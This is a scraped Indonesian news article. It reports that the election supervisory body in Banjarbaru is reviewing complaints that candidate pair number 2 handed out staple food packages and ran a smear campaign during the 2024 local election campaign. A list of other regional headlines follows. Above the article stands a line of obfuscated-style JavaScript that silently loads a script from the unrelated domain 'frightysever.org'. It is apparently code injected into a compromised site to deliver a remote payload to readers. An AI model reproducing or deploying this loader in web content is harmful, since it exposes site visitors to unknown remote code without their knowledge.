(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PEMILU 2024

Bawaslu Banjarbaru Kaji Laporan Dugaan Pelanggaran Bagi Sembako


KANALKALIMANTAN.COM, BANJARBARU – Badan Pengawas Pemilu (Bawaslu) Kota Banjarbaru menerima aduan masyarakat terkait dugaan pelanggaran kampanye Pilkada Serentak 2024 di Kota Banjarbaru.

Aduan di tujukan kepada pasangan calon (Paslon) nomor urut 2 yakni Aditya Mufti Ariffin dan Said Abdullah. 

Komisioner Bawaslu Banjarbaru Divisi Hukum, Pencegahan, Partisipasi Masyarakat dan Hubungan Masyarakat, Bahrani mengatakan, pelapor datang meregister aduan dengan nomor 003 beberapa waktu lalu.

“Aduan nomor 003 berkenaan dengan dugaan pembagian sembako,” ujar Bahrani, Rabu (9/10/2024) petang.

Baca juga: Jadi Tersangka Belum Ditahan, Paman Birin Dicegah ke Luar Negeri

“Kemudian ada lagi nomor 002 berkenaan dengan adanya dugaan pelanggaran kampanye di media sosial dengan istilah mereka menyebutkan black campaign atau adanya aktifitas fitnah,” jelas dia.

Dalam aduan itu, pelapor menyebutkan bahwa paslon nomor urut 2 diduga melakukan pelanggaran pembagian sembako saat kampanye berlangsung di Kelurahan Guntung Manggis, Landasan Ulin pada 30 September 2024.

Bahrani menjelaskan hingga saat ini penanganan aduan tersebut masih berproses. Dalam proses penanganan pelanggaran itu pihaknya melakukan klarifikasi baik terhadap pelapor, saksi maupun terlapor, dan pihak lain yang perlu dimintai keterangannya

Kemudian pada Rabu (9/10/2024) sore, kata dia, Calon Wakil Wali Kota Banjarbaru Said Abdullah diminta datang ke kantor Bawaslu Kota Banjarbaru untuk memberikan klarifikasi.

Baca juga: Dilaporkan Bagi Sembako saat Kampanye, Said Abdullah Klarifikasi ke Bawaslu Banjarbaru

“Sementara nomor register 003 kita panggil paslon nomor urut 2 Said Abdullah, selebihnya itu masih kita kaji terlebih dahulu siapa yang perlu kita panggil, karena semua sudah klarifikasi, dan memang ada beberapa hal lagi yang perlu kita gali dan ini yang masih kita susun,” ujarnya.

Hasil klarifikasi ini dimuat menjadi sebuah informasi awal yang kemudian akan pihaknya susun, pihaknya kaji dan disimpulkan apakah memang masuk sebagai pelanggaran atau tidak. “Kesimpulannya akan kita umumkan melalui press rilis setelah semua kajian selesai jadi kelengkapan informasi harus disampaikan secara utuh bukan hanya sebagian,” tandas Bahrani

Adapun proses penanganan aduan laporan ini kata dia akan berjalan tiga plus dua hari semenjak laporan itu diregister. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Risa

Recent Posts

Pelantikan PAW Komisioner KPU Banjarbaru Tunggu KPU RI

KANALKALIMANTAN.COM, BANJARBARU - Proses Penggantian Antar Waktu (PAW) Komisioner KPU Banjarbaru masih berjalan, meski tahapan… Read More

7 jam ago

Talk Show HUT ke-8 RSD Idaman Seni Mengelola Konflik dalam Rumah Tangga

KANALKALIMANTAN.COM, BANJARBARU - Menyemarakan penandaan Haru Ulang Tahun (HUT), Rumah Sakit Daerah Idaman (RSDI) menggelar… Read More

9 jam ago

2.069 Pelajar SD se HSU Ikuti Khataman Al Qur’an

KANALKALIMANTAN.COM, AMUNTAI - Sebanyak 2.069 pelajar Sekolah Dasar (SD) se Kabupaten Hulu Sungai Utara (HSU)… Read More

20 jam ago

Curi Mobil Nyamar Petugas Parkir Wisuda Kampus ULM, MSR Diringkus Polisi

KANALKALIMANTAN.COM, BANJARBARU - Dua unit mobil hilang saat terparkir di kampus Universitas Lambung Mangkurat (ULM)… Read More

21 jam ago

Nasib Tiga Proyek Dinas PUPR Kalsel Pasca OTT KPK

KANALKALIMANTAN.COM, BANJARBARU - Lebih sepekan sudah pasca Operasi Tangkap Tangan (OTT) Komisi Pemberantasan Korupsi (KPK)… Read More

21 jam ago

Kunjungi Karangintan, Masyarakat Inginkan Saidi Mansyur Terpilih Lagi

KANALKALIMANTAN.COM, MARTAPURA - Masyarakat Karangintan menyatakan dukungannya terhadap pasangan calon bupati dan wakil bupati Banjar… Read More

1 hari ago

This website uses cookies.